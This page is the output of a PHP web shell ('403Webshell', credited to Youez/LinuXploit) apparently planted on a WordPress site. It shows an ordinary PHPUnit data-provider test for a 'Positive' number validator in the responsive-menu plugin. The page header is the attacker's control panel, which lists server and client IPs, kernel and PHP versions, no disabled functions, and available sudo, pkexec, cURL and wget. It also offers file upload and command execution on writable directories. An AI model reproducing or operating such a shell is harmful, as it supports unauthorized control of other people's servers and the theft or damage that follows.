403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.55
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.7
System : Linux ip-172-31-69-123.ec2.internal 6.1.177-224.371.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 20:28:29 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /ourscripts/oldmandy/wp-content/responsive-menu/tests/app/Validation/Validators/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /ourscripts/oldmandy/wp-content/responsive-menu/tests/app/Validation/Validators/PositiveTest.php
<?php

use PHPUnit\Framework\TestCase;
use ResponsiveMenu\Validation\Validators;

class PositiveTest extends TestCase {

    public function testPositiveList() {
        return [

            // These should fail
            ['-3.5as', false],
            ['-2a', false],
            ['-1', false],
            ['-4', false],
            [-3, false],

            // These should pass
            ['', true],
            ['0', true],
            ['0.2', true],
            ['1', true],
            ['1.2', true],
            ['44', true],
            [0, true],
            [0.3, true],
            [1, true],
            [1.6, true],

        ];
    }

    /**
     * @dataProvider testPositiveList
     */
    public function testNumberIsValidated($number, $expected) {
        $validator = new Validators\Positive($number);
        $this->assertEquals($expected, $validator->validate());
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit